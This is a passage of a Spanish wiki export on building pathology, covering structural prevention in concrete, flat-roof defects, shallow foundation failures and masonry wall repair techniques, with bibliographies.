- Los sistemas de forjado de hormigón colocado in situ, constituyen diagramas horizontales suficientemente rígidos para transmitir los efectos sísmicos a los comportamientos tanto bajo fuerzas laterales debidas al sismo como bajo efecto de hundimientos diferenciales en zonas de terreno compresible.
- En algunos casos, aunque el sistema de forjado sea prefabricado suele colocarse sobre él un firme, en ocasiones reforzado con malla de acero, que ayuda a formar el diagrama. La gran densidad de muros, continuos en toda la altura, suele aportar la rigidez suficiente para movimientos en dirección horizontal.
- Intentar introducir la rigidez adicional en el plano de fachada a las estructuras en las que se emplean elementos flexibles de perfiles de acero, para lo cual será necesario que los anclajes entre el marco y el panel sean los adecuados, de no ser así este último saltaría.
- Es fundamental lograr la transmisión de fuerzas entre cerramientos y las vigas y pilares que conforman el pórtico. La fábrica de adobe no se debe considerar como portante para solicitaciones del tipo sísmico.
- Uno de los aspectos del diseño constructivo más importantes a tener en cuenta para las fábricas son la traba, los encadenados, las armaduras y la vinculación entre muros. Junto con la calidad del material debe acompañarse la calidad del mortero de asiento. Las resistencias tanto a tracción como a compresión del mortero de asiento deben ser compatibles con los ladrillos o bloques para lograr así una relativa homogeneización del elemento estructural completo.
- Ya que durante un terremoto, se originan con frecuencia incendios, se deberá proteger la estructura contra ellos, especialmente las plantas de garaje, pues un edificio que ha sido capaz de soportar un terremoto, puede quedar destruido al ser afectados los soportes por las llamas.


=== 8.-. Flexión ===


El comportamiento de las piezas sometidas a flexión depende de manera muy importante de la cuantía mecánica de la armadura de tracción, se ha de tener en cuenta siempre en las fases de diseño y cálculo y en la ejecución. En general, se deberá prestar atención a los cálculos y cuidarse la ejecución según el proyecto, evitando errores que puedan suponer daños en nuestra estructura. Durante la ejecución se deberá tener en consideración:

- tiempos de desencofrado / descimbrado correctos
- tiempos de curado adecuados
- mantener el orden apropiado en la retirada de los puntales y encofrados
- que las sobrecargas de obra (acopio de material...) no superen las cargas consideradas para el cálculo.


=== 9.-. Momento torsor ===


El momento torsor que origina un voladizo en una viga debe ser soportado por el hormigón, la armadura longitudinal del perímetro y los cercos (que deben estar soldados o con una mayor longitud de anclaje).

Algunas consideraciones a tener en cuenta son:

- Cercos totalmente cerrados por soldadura, no deben soldarse a la armadura longitudinal ya que puede dar problemas de fragilización de la armadura si no es apta para el soldeo.

- Los cercos o estribos de acero para la torsión tienen que ser calculados de manera independiente a los de cortantes, dado que sus áreas son sumatorias.

- Si se quiere evitar la soldadura en los cercos, se pueden construir de dos vueltas.

- En edificios de altura la acción eólica puede provocar la aparición de este esfuerzo, siendo mayor el torsor en las plantas más altas por ser mayor la fuerza del viento, por lo que se deberá tener en cuenta la posible acción de este esfuerzo en los pilares perimetrales.

En el caso de elementos prefabricados, algunas consideraciones a tener en cuenta para los torsores en vigas son:

- No es preciso considerar el torsor de una viga si existe un elemento perpendicular que pueda soportar como flector (de empotramiento) el torsor que no consideramos en la viga.

Esto supone una unión rígida a flexión entre viga y forjado; si no existe, los torsores son de equilibrio y, si la viga a su vez está apoyada en el pilar, volcará por esta causa y si no lo hace es por que puede soportar el torsor reacción, descentrando la reacción en el ancho de su apoyo.

Bibliografía:
“Diagnosis y causas de patología en la edificación”. Manuel Muñoz Hidalgo.
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.


=== 10.-. Esfuerzo rasante ===


Prevención a elementos estructurales por esfuerzo rasante.
Garantizar un comportamiento adecuado de los forjados parcialmente prefabricados, en el que aparecen viguetas prefabricadas junto a hormigones es conseguir que la conexión entre la pieza prefabricada y el hormigón “in situ” sea capaz de transferir las tensiones rasantes derivadas del trabajo conjunto de la sección.
En el caso de forjados con viguetas pretensadas, ya que éstas no suelen ir provistas de elementos de enlace (celosías) que colaboran en la transmisión de rasante, deberá confiarse esta transmisión a las condiciones de la superficie de contacto entre los dos hormigones. Las tensiones que pueda transmitir la junta dependerán de las condiciones de ejecución del forjado (limpieza y humedad de la superficie de contacto previamente al hormigonado, compactación del hormigón, etc.) así como de las características superficiales del elemento prefabricado.

Según la EFHE tanto en forjados con viguetas armadas o pretensadas, como forjados de losas alveolares pretensadas con losa superior hormigonada en obra debe verificarse la tensión rasante que solicita la junta entre el elemento prefabricado y el hormigón vertido en obra (cumpliendo con la normativa, EHE).

Las tensiones rasantes van a depender de la rugosidad de la pieza prefabricada, de la resistencia más débil de los dos hormigones y de la cantidad y posición de la armadura transversal, para ellos los fabricantes de viguetas comprueban los esfuerzos rasantes dando a los fabricados la superficie lateral (se debe controlar la rugosidad alcanzada en el hormigón prefabricado) y la armadura transversal necesarias para evitar el fallo en este sentido. 

Deberá controlarse la recepción de las piezas prefabricadas, para que las superficies en contacto estén libres de polvo y suciedad, y el estado de saturación de las superficies de contacto. 

Para juntas de hormigones vertidos en dos fases, la clasificación de la superficie se aplica a la superficie sobre la que se vierte el hormigón de segunda fase.

En el caso de los forjados de chapa colaborante la resistencia a esfuerzo rasante va a depender de los conectores o pernos de anclaje: número, separación, etc.

Para evitar las roturas de los muros de carga de fábrica de ladrillo por esfuerzo rasante es necesaria una buena adherencia entre piezas y mortero así como la aplicación de cargas verticales que aumenten el rozamiento y por tanto dificulten el deslizamiento horizontal.


Bibliografía:
Instrucción para el proyecto y ejecución de forjados unidireccionales de hormigón estructural realizados con elementos prefabricados. EFHE.
“Cálculo, construcción, patología y rehabilitación de forjados de edificación”. J. Calavera.
“Diagnosis y causas en patologías de la edificación ”. Manuel Muñoz Hidalgo.
Artículo Forjados (Internet). Luis Vega Catalán.
Master en Estructuras de la Edificación. Curso de Especialidad en Estructuras hormigón armado y Curso de Especialidad en Cálculo Estructural.


===Bibliografía General===

“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.
“El muro de ladrillo”. Fombella R.  Hispalyt 1992.
“Eflorescencias”. García Verduch, A.  Arcilla cocida nº11, Marzo 1981.
“Guía para el estudios de velos y eflorescencias en ladrillos de construcción”. García Verduch, A.  Instituto Universitario de Tecnología Cerámica de Castellón, 1988.
“Curso de formación para colocadores de bloque de Termoarcilla®”
“Manual para el uso del bloque Termoacilla”.
“Diagnosis y causas de patología en la edificación”. Manuel Muñoz Hidalgo.
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.
“Industrialización y prefabricación de elementos resistentes de hormigón”. CEMCO.
“Curso de especialidad en cálculo estructural”. UPM.
“Evaluación de la capacidad resistente de estructuras de hormigón y métodos de rehabilitación
y refuerzo”. Curso INTEMAC.
“Los pilares: criterios para su proyecto, cálculo y reparación”.Florentino Regalado Tesoro
Instrucción para el proyecto y ejecución de forjados unidireccionales de hormigón estructural realizados con elementos prefabricados. EFHE.
“Cálculo, construcción, patología y rehabilitación de forjados de edificación”. J. Calavera.
“Diagnosis y causas en patologías de la edificación ”. Manuel Muñoz Hidalgo.
Artículo Forjados (Internet). Luis Vega Catalán.
Master en Estructuras de la Edificación. Curso de Especialidad en Estructuras hormigón armado y Curso de Especialidad en Cálculo Estructural.

{{AutoCat}}</text>
      <sha1>lhutom3lfm3y81uzkc8jfk0sp3sp6q0</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas planas/Lesiones</title>
    <ns>0</ns>
    <id>13796</id>
    <revision>
      <id>430161</id>
      <parentid>220302</parentid>
      <timestamp>2026-08-02T11:54:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430161</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9389" sha1="kmzthm22rn1dkxfhh9ie6quiyz2spjf" xml:space="preserve">== '''LESIONES''' ==


=== '''1. GRIETAS Y FISURAS''' ===


Son lesiones que podríamos denominar como formales o mecánicas.

Se reflejan en cualquier elemento que compone el sistema: el soporte (ultimo forjado y estructura), barreras de vapor, formación de pendientes, aislamiento, impermeabilización, protección y acabado, cornisas, paredes y petos…

Según los puntos donde encontremos las grietas o fisuras vamos a analizarlas:


==== '''1.1.  En la estructura:''' ====
 

Se manifiestan generalmente en los muros en los que apoya el forjado, siendo habitualmente de directriz horizontal, aunque también las habrá en vertical y a 45o. En el caso de que el sistema este trabado con los perímetros, se transmiten en la superficie de la azotea.

==== '''1.2	 En petos:''' ====
 

Fisuras frecuentes son aquellas de directriz horizontal que encontramos en los perímetros interiores y exteriores de los muretes de la cubierta a la altura de la unión del ultimo forjado con las demás capas. 

[[Imagen:grieta forjado.jpg]]

==== '''1.3.	  En el soporte de la impermeabilización:''' ====


Al producirse fisuras en este estrato, estas se pueden reproducir en la membrana, degradando la impermeabilización hasta la rotura. Si además el sistema constructivo de colocación de la capa impermeable es adherido, la situación se agrava provocando grietas más perjudiciales. 


==== '''1.4.	  En juntas:''' ====

Encontramos grietas en las azoteas donde no se han previsto juntas, o no se han respetado las existentes al realizar la cubierta. Hay tres tipos de juntas a tener en cuenta:

*-	JUNTAS DE DILATACIÓN

( del edificio o del soporte resistente de la cubierta)
Las grietas seguirán la directriz de la junta tapada, y muy cercana a ella, agrietando la protección por las partes más débiles como las juntas de pavimento.

*-	JUNTAS DE CUBIERTA

Podremos encontrar roturas en los planos de cubierta siguiendo la directriz de la junta. En terrados con protecciones pesadas como pavimentos despiezados, la lesión se acostumbra a realizar en los lados del encuentro entre pendientes, figurando y levantando las piezas del pavimento a lo largo de la unión.

*-	JUNTAS DE LA CAPA DE PROTECCIÓN

También llamadas juntas de trabajo. Si encontramos fallos en éstas, aparecerán grietas e incluso puede haber levantamiento de baldosas. Si la impermeabilización está adherida al pavimento este podrá arrastrarla con el movimiento y provocarle fisuras. Éstas fisuras se producen perpendiculares a las dos direcciones de la posible dilatación.

También como consecuencia de fallos en las diferentes juntas encontraremos lesiones derivadas como grietas o fisuras en los petos de cubierta, que seguirán una directriz vertical.

=== 2. DESGASTES Y DESPRENDIMIENTOS ===


Estas lesiones pueden ser tanto de tipo mecánico como químico, al tener tanto aspectos formales como sustanciales del sistema.


==== '''2.1.''' ====
	El desgaste más común lo encontramos en la protección final de la cubierta. El deterioro de un pavimento o de la protección ligera de una lámina se produce o bien en zonas de mucho transito o bien en zonas donde el agua se estanca. Los desgastes más visibles de esta capa serian: 

*-	Desplazamiento de cantos rodados en cubiertas invertidas, dejando expuesto al aislamiento.

*-	Arrugas y disgregaciones en pavimentos y revestimientos

[[Imagen:pavimento.jpg]]


==== '''2.2''' ====
	Otra parte importante a tener en cuenta es cuando tenemos una membrana autoprotegida en la que vamos a notar su envejecimiento a partir de un cuarteamiento superficial y a veces una vitrificación, que pueden llegar a producir fisuras y micro fisuras superficiales.  

[[Imagen:imper.jpg]]


=== 3. DEFORMACIONES ===


Son lesiones que podríamos integrar dentro de las formales. 


==== '''3.1.  En estructura:''' ====


Las deformaciones de cualquier elemento de la estructura del edificio pueden afectar a la cubierta, por lo tanto deberemos tenerlas en cuenta.

Un caso particular es si el último forjado resistente es una losa maciza de hormigón podremos encontrar alabeaciones en los extremos de la losa, levantándose en los ángulos, pudiendo romper tanto el soporte de las capas como la membrana impermeable. 


==== '''3.2.	  Abolsamientos:''' ====


La deformación más característica en cubiertas planas es el abolsamiento o abombamiento. Los abombamientos son unas burbujas o bolsas superficiales en un material instalado que debería permanecer plano o liso. Generalmente, se producen en membranas con protecciones ligeras (autoprotegidas, a la intemperie o sin protección, o pinturas impermeabilizantes). Indican la presencia de humedad por debajo del material impermeabilizante y vienen acompañadas de una fuerte exposición de calor. 

[[Imagen:abomba.jpg]]


==== '''3.3.	  Pliegues:''' ====


Son similares a los abombamientos. Podríamos denominarlos como casos particulares de estos ya donde más suelen presentarse esta lesión es en los sistemas de autoprotección con hoja de aluminio, siendo las inercias térmicas de ambos componentes muy diferentes.


==== '''3.4.	  Aplastamiento:''' ====


Se puede manifestar un aplastamiento en la superficie o un desprendimiento por una baja resistencia a compresión o por una insuficiencia a tracción del soporte de la membrana, que dé paso a fisurar o romper el sistema impermeable. Se manifiesta generalmente en zonas de más paso de cubiertas transitables o visitables por el mantenimiento, originándose en forma de charcos en pavimentos o protecciones con la consecuente degradación de la impermeabilización, y con la posibilidad de crearse roturas.


=== 4. HUMEDADES ===


Las humedades como lesión se manifiestan en manchas que pueden tener diferentes aspectos y características. Son claramente lesiones químicas y las vamos a dividir según su velocidad y momento de aparición, y sus características físicas. 

'''-	TIPO 1.''' Son manchas de humedad que se producen cuando llueve (o se riega) y aparecen rápidamente. Suelen ser limpias y no emiten olor, salvo que el agua aporte disueltos restos de materiales bituminosos como el oxiasfalto de una barrera de vapor, o suciedad ambiental. 

'''-	TIPO 2.''' En zonas que pueden absorber humedad (como muretes perimetrales), podrían manifestarse manchas en el interior. Este tipo coinciden con la lluvia, pero aparecen más lentamente. Suelen ser manchas limpias y no hacen olor. Reproducen las formas del muro por la diferencia de absorción de los materiales que lo conforman (marcan despieces, regatas, cajas de persiana...).


'''-	TIPO 3.''' Este tipo de manchas las encontraremos bajo el forjado y pueden perdurar mucho tiempo, hasta que toda el agua se evapora de los materiales. Se manifiestan creando círculos, en cuyos extremos aparecen eflorescencias de las sales arrastradas por el agua que a disuelto a los materiales empapados como el hormigón de pendientes.

[[Imagen:mancha de humedad tipo3.jpg]]

'''-	TIPO 4.''' No se relacionan necesariamente con los periodos de lluvias, aunque si lo hacen con los cambios de temperatura y el aumento de la humedad ambiental. Pueden tener un aspecto amarillento, pero a menudo ennegrecen por los hongos, debido a originarse en rincones, fondos de armario, detrás de muebles, es decir puntos de menos paso de corriente de aire y con una humedad relativa elevada. Aparecen forma rápida y muy marcada, teniendo un centro más intenso. También son puntos conflictivos los encuentros entre diferentes materiales. Al ennegrecerse o volverse verdes con los hongos pueden venir acompañadas de olor a florecido.

[[Imagen:h tipo 3.jpg]]
 

=== 5. MANCHAS Y EFLORESCENCIAS ===


Lesiones encuadradas en sustanciales o químicas. 


==== '''5.1.	  Eflorescencias:''' ====
 

Las eflorescencias suelen ser sólo un problema estético, si no se agravan por otros factores. La cal y las sales que contienen materiales como los morteros, pueden aparecer en la superficie con la evaporación del agua, dando manchas alrededor de las juntas. 


==== '''5.2.	  En anclajes:''' ====
 

Otro tipo de manchas las encontraremos en puntos de anclajes de elementos metálicos como tendederos de ropa, estructuras de antenas, barandillas de hierro… Estas manchas pueden llegar a provocar erosiones en las membranas.


=== 6. ORGANISMOS ===


La aparición de organismos es claramente una lesión química, pero aparecen secundariamente, ya que tiene que haber acumulación de agua o de humedad previamente. La aparición de microorganismos y vegetales parásitos deterioran las capas superficiales de la cubierta pudiendo provocar otras lesiones. En el caso de pavimentos dejaran expuestas las láminas aislantes e impermeabilizantes a los agentes agresivos.

Los dos más característicos son:


*'''6.1.	 Líquenes:''' 

Son corrientes en las baldosas de terrazas, especialmente en las cerámicas porosas y albardillas de este mismo material.

*'''6.2.	 Musgos y gramíneas:'''

Son frecuentes en aquellos rincones de cubiertas que reciben poco mantenimiento.

=== BIBLIOGRAFÍA ===


•	“Curso de Rehabilitación. 6. La Cubierta”. COAM. Madrid, 1985. 
ISBN 84-85572-68-8

•	“Manual de Diagnosis e Intervención. Cubiertas Planas”. COATB. Barcelona, 2002. 
ISBN 84-87104-50-9

•	“TECTÓNICA. 6. Cubiertas Planas”. ATC. Madrid, 2002.
ISSN 1136-0062

{{AutoCat}}</text>
      <sha1>kmzthm22rn1dkxfhh9ie6quiyz2spjf</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Problemática</title>
    <ns>0</ns>
    <id>14152</id>
    <revision>
      <id>430118</id>
      <parentid>81987</parentid>
      <timestamp>2026-08-02T11:43:53Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430118</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2627" sha1="dwf5ef8xdtf5puz1uyn5vd16u3piw2w" xml:space="preserve">
==Propiedades Constructivas: Sistemas Constructivos==


==Fallos Característicos==

====CIMENTACIONES SUPERFICIALES: Zapatas (aisladas y continuas) y losas.====

=====ZAPATAS: ASPECTOS A CONSIDERAR:=====
[[Imagen:Separacionzapatas.jpg|thumb|]]
- Dimensionamiento por hundimiento y asiento

- Análisis de las variaciones de dimensiones (asientos)

- Prestar atención a zapatas con condiciones singulares: de medianería y combinadas

- Prestar atención a saltos de nivel entre zapatas, respetar separaciones  ( relación 3:2)


- Atado de zapatas: obligatorio en zonas sísmicas y recomendable en terrenos heterogéneos

- Verificación de afecciones entre zapatas, colindantes, etc., atención al solapamiento de bulbos de presiones

- Ejecución: Comprobación de aspectos como: homogeneidad del firme, dimensiones, armados, condiciones de durabilidad: recubrimientos, nivel freático, presencia de sales, …

=====ZAPATAS: FORMAS DE AGOTAMIENTO:=====
- Fallo de flexión, por agotamiento de la armadura

- Fallo de flexión, por agotamiento del hormigón comprimido

- Fallo de la pieza por cortante (en zapatas corridas) o punzonamiento (aisladas)

- Fallo de anclaje de las armaduras

- Fallo por fisuración excesiva del hormigón (condicionando su durabilidad)

- Problemas de armado:
	Verificación de su cuantía y tipo de armado
	Verificación de los anclajes de armaduras: zapata, pilar 

- Verificación de los recubrimientos efectivos, empleo adecuado de separadores en función de la agresividad a la que se verá sometida

====LOSAS DE CIMENTACIÓN: ASPECTOS A CONSIDERAR====
- Movilizan estratos a grandes profundidades 

- Sensible a heterogeneidades como el tipo de material, estratos, agua, etc.

- Análisis placa – estructura – terreno:
	Análisis módulo de balasto
	Análisis de sensibilidades: Puntos duros, puntos blandos, asientos inducidos		
-Verificación de las mejoras del terreno. Retención de finos.

- Análisis y tratamiento del agua (escorrentía, saneamiento, drenaje,…)

======LOSAS DE CIMENTACIÓN: FORMAS DE AGOTAMIENTO:======
- Fallos de flexión por agotamiento del hormigón a compresión

- Fallos de flexión por agotamiento de las armaduras

- Fallos de flexión por solapes insuficientes en una misma sección

- Fallos por punzonamiento de la losa

- Fallos por torsión en huecos y bordes de la losa

- Fallos por excesiva fisuración y problemas de durabilidad

- Problemas por subpresiones sobre la losa

- Controles:
	Problemas de solapes y anclajes de armaduras
	Disposición de juntas y problemas de estanquidad
	Refuerzos de punzonamiento, torsión

{{AutoCat}}</text>
      <sha1>dwf5ef8xdtf5puz1uyn5vd16u3piw2w</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Estabilización</title>
    <ns>0</ns>
    <id>14153</id>
    <revision>
      <id>430150</id>
      <parentid>75862</parentid>
      <timestamp>2026-08-02T11:52:24Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430150</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1590" sha1="47oun2yxkq0jm1a8ueu0jhfv5ej6w1v" xml:space="preserve">===Provisional===

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Estabilización/Apéos|Apéos]]=====

=====Preconsolidación y limpieza ligeras=====

Es necesario aplicar una preconsolidación ligera previa a un proceso de limpieza en aquellas superficies de valor histórico o artístico que presenten un deterioro tan severo que corran el riesgo de ser destruidas por el propio proceso de limpieza. Podríamos considerar la preconsolidación como una medida preventiva que precede a la limpieza de la superficie.

La preconsolidación provoca un efecto indeseado que es la fijación de la suciedad a la superficie. Por esta razón se aplicarán alternativamente preconsolidaciones ligeras y limpiezas ligeras hasta obtener el resultado necesario. Los métodos de preconsolidación serán análogos a los recogidos en este documento como métodos de consolidación.

Podríamos considerar la preconsolidación como una medida preventiva, previa a la limpieza de la superficie.

=====Recercado de huecos triangulado=====

Mediante este método se refuerzan las zonas más débiles de los muros, como son los huecos de ventana, ya que es en estos puntos donde suelen comenzar las roturas. Consiste en recercar los huecos mediante triangulaciones en forma de cruces de San Andrés, para impedir su deformación.
[[Imagen:Recercado_huecos.jpg|thumb|250px|none|Recercado de huecos según la deformación prevista]]

===Definitiva===

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Contrafuertes|Contrafuertes]]=====

{{AutoCat}}</text>
      <sha1>47oun2yxkq0jm1a8ueu0jhfv5ej6w1v</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Liberación de acciones</title>
    <ns>0</ns>
    <id>14155</id>
    <revision>
      <id>430151</id>
      <parentid>111696</parentid>
      <timestamp>2026-08-02T11:52:28Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430151</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1470" sha1="9jqjwz6817s8jod2bppw3lkd1e4b4oe" xml:space="preserve">===Derivación o desvío de cargas===

=====Arcos de descarga=====

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Estabilización/Apéos|Apéos]]=====

===Eliminación de los agentes===

=====Desalinización=====

El proceso de desalinización tiene como objetivo la eliminación de un agente agresor como son las sales solubles contenidas en la piedra. Es un proceso previo al de limpieza.

Para extraer las sales se utiliza un material absorbente que se aplica sobre la piedra. Este material puede ser pasta de celulosa, sepiolita o atapulgita.

El material absorbente, que deberá estar embebido en agua destilada, se cubre con una capa de polietileno durante el tiempo necesario para solubilizar las sales. Este tiempo es conocido si en la etapa de diagnosis hemos identificado los tipos de sales presentes.

Posteriormente se retira la capa de polietileno para dejar secar la pasta absorbente. Una vez concluida la fase de secado se disuelve la pasta en agua destilada y se determina la concentración de sales presente con un conductivímetro. El proceso se repetirá hasta la eliminación parcial de las sales de la piedra, hasta que estas se mantengan estables, y nunca de manera completa, ya que esta acción provocaría un efecto rebote, creando una fase de adsorción de sales incluso mayor que las que poseía originalmente.

=====Limpieza de materiales pétreos=====

=====Limpieza de materiales cerámicos=====

{{AutoCat}}</text>
      <sha1>9jqjwz6817s8jod2bppw3lkd1e4b4oe</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Consolidación-regeneración/Solidarización</title>
    <ns>0</ns>
    <id>14156</id>
    <revision>
      <id>430152</id>
      <parentid>75868</parentid>
      <timestamp>2026-08-02T11:52:33Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430152</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4627" sha1="l3m523gkt0d3yw1ggdu5oekfnx3sa7v" xml:space="preserve">===Interna(estructural)===

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Cercos o arcos|Cercos o arcos]]=====

=====[[Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Tirantes|Tirantes]]=====

=====Cosidos o grapados=====

Los cosidos de obra, de madera o metálicos buscan recuperar la continuidad entre dos partes de muro que se habían separado. Estos elementos permiten que el elemento vuelva a trabajar de forma solidaria.

Uno de los métodos empleados es el cosido de grietas con grapas metálicas, que pueden dejarse vistas o encastrarlas en el muro.

Los cosidos de obra se realizan desmontando la parte del muro quebrada para, a continuación, reconstruirla con piezas nuevas.

También se pueden utilizar resinas epoxídicas o morteros hidráulicos a modo de relleno de las grietas.
[[Imagen:Cosido_inclinado.jpg|thumb|250px|none|Cosido inclinado]]
[[Imagen:Cosido_tendel.jpg|thumb|250px|none|Cosido en tendel]]
[[Imagen:Cosido_hilada.jpg|thumb|250px|none|Cosido en hilada]]

=====Fábrica armada=====

Las fábricas armadas son muros armados de forma homogénea longitudinal y transversalmente. El armado evita fisuraciones y aporta al muro una capacidad homogénea a tracción. Es posible, además, tener en cuenta esfuerzos localizados mediante la aplicación de mayor cantidad de armado allí donde sea necesario.

Es un método efectivo en muchos casos como los asientos diferenciales del terreno bajo muros de carga, dilataciones y retracciones de los paños extensos o concentración de tensiones en huecos o bajo cargas puntuales.

=====Consolidación mediante relleno de huecos=====

El sistema de consolidación de relleno de los huecos busca aumentar la capacidad portante del muro mediante la introducción de algún material ligante en el interior.

Unos de los sistemas utilizados es la aplicación de mortero fluido, de cal o cemento, por presión de la gravedad. Este método se utiliza en muros que permitan una infiltración de material mayor del 10% de su volumen.

Otro sistema más actual consiste en inyectar a presión resinas sintéticas, en muros que admitan una infiltración entre el 5 y 10% de su volumen.

Son estos sistemas complejos que necesitan tener en cuenta medidas de seguridad que eviten deformaciones indeseadas.

=====Pasadores transversales=====

Se utilizan pasadores metálicos transversales principalmente para solidarizar las dos caras de los muros de doble hoja, aumentando su capacidad de carga.

=====Retícula cimentada=====

Esta técnica se puede entender como una combinación de la consolidación mediante pasadores transversales y la técnica de cosido. Se emplea para conectar dos tramos de muro mediante la introducción de barras de acero en múltiples direcciones, de forma oblicua al muro.

Este sistema supone una mejora de la rigidez y de la capacidad de trabajo.

=====Reparación de lesiones por aplastamiento=====

Se liberará de las cargas el elemento afectado, para proceder a la reparación, mediante apeos. También puede recurrirse a una eliminación de materiales superfluos de la edificación, que la recargan innecesariamente.

A continuación una opción es sustituir los elementos dañados, teniendo muy en cuenta las pautas que se dan en el apartado sustitución de elementos.

Otra opción es proceder a la adición de alguna estructura que de forma permanente libere de las acciones mecánicas al material dañado, a modo de arco de descarga.

=====Reparación de lesiones por rotación=====

Cuando el movimiento se encuentra ya detenido se pueden adoptar medidas preventivas que puedan absorber los esfuerzos ante una reiniciación del movimiento. Según la causa de la rotación se incorporarán sistemas de arriostramiento o se sustituirán los elementos dañados.

Es más problemática la reparación cuando el movimiento no está paralizado. Una de las soluciones a adoptar es el apeo provisional mediante acodalamientos y la construcción de contrafuertes. Otra opción es el atirantado del elemento a otras partes de la estructura capaces de absorber el incremento de tensión. Pueden utilizarse para este caso tirantes grapados o elementos a modo de zuncho que repartan el esfuerzo causa de la lesión en el resto del edificio. 

En todo caso es importante el aligeramiento de la edificación mediante la eliminación de material superfluo como cascote en cubiertas, rellenos de cerramientos  o disminución de gruesos.

===Externa===

=====Consolidación superficial de materiales pétreos=====

=====Consolidación superficial de materiales cerámicos=====

{{AutoCat}}</text>
      <sha1>l3m523gkt0d3yw1ggdu5oekfnx3sa7v</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Sustitución</title>
    <ns>0</ns>
    <id>14157</id>
    <revision>
      <id>430149</id>
      <parentid>75870</parentid>
      <timestamp>2026-08-02T11:52:20Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430149</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1777" sha1="b8gtn1n5zvm1fefoernkp3qphlrp4x6" xml:space="preserve">===Física===

=====Sustitución de elementos en fábricas=====

Solo recurriremos a la sustitución de elementos de una fábrica cuando nos sea imposible salvar el elemento original. Podemos hablar de sustitución de piedras o ladrillos, o de conglomerantes.

Es muy importante que las propiedades físicas, hídricas y mecánicas de los materiales nuevos sean similares a los originales. Igualmente es importante identificar de alguna manera las piezas nuevas para permitir un reconocimiento de estas a través del paso del tiempo.
[[Imagen:Reparacion-sustitucion.jpg|thumb|250px|none|Reparación por sustitución de piezas individuales]]

=====Reparación de juntas. Rejuntado=====

Para corregir los problemas de pérdida de mortero o juntas fisuradas se procede al proceso de rejuntado. Hay que tener en cuenta el ancho, el perfil, y la textura del rejuntado existente. Además las características de mortero han de ser similares al mortero original.

En caso de construcciones históricas se tratarán los morteros de la misma forma y con las mismas herramientas que en el momento original de la construcción. En todo caso debe tener una resistencia a la compresión menor o igual al original.

Se debe retirar parte del mortero existente, eliminar restos de polvo y material disgregado y humedecer el soporte antes de colocar el mortero nuevo.

Hay que tener en cuenta los problemas que plantea el uso de morteros de cemento, como pueden ser eflorescencias, tensiones diferenciales. Estos morteros son más rígidos que los de cal, por lo que se adaptan peor a los movimientos de la construcción. Además los morteros de cal son más porosos,  facilitando la evaporación del agua y presentando mayor resistencia a los ciclos de heladas.

===Funcional===

{{AutoCat}}</text>
      <sha1>b8gtn1n5zvm1fefoernkp3qphlrp4x6</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Cercos o arcos</title>
    <ns>0</ns>
    <id>14158</id>
    <revision>
      <id>430153</id>
      <parentid>64768</parentid>
      <timestamp>2026-08-02T11:52:42Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430153</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="565" sha1="ioh0sshpgj6rgqv1ri9mrokka0owmqy" xml:space="preserve">Los cercos o arcos son elementos para la rigidización del muro. Pueden ser de madera, hormigón armado o metal. Estos elementos se ejecutan a modo de cinturones que circundan el edificio al nivel de los forjados o la cubierta.

Los cercos de hormigón, se ejecutan introduciendo una armadura en el interior de los muros y rellenando con hormigón. Es importante tener en cuenta que con esta técnica se puede producir un debilitamiento en el muro.

Los cercos metálicos se colocan por una o ambas caras, a modo de tirantes, paralelamente a los muros.

{{AutoCat}}</text>
      <sha1>ioh0sshpgj6rgqv1ri9mrokka0owmqy</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Reparación/Tirantes</title>
    <ns>0</ns>
    <id>14159</id>
    <revision>
      <id>430154</id>
      <parentid>64770</parentid>
      <timestamp>2026-08-02T11:52:46Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430154</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
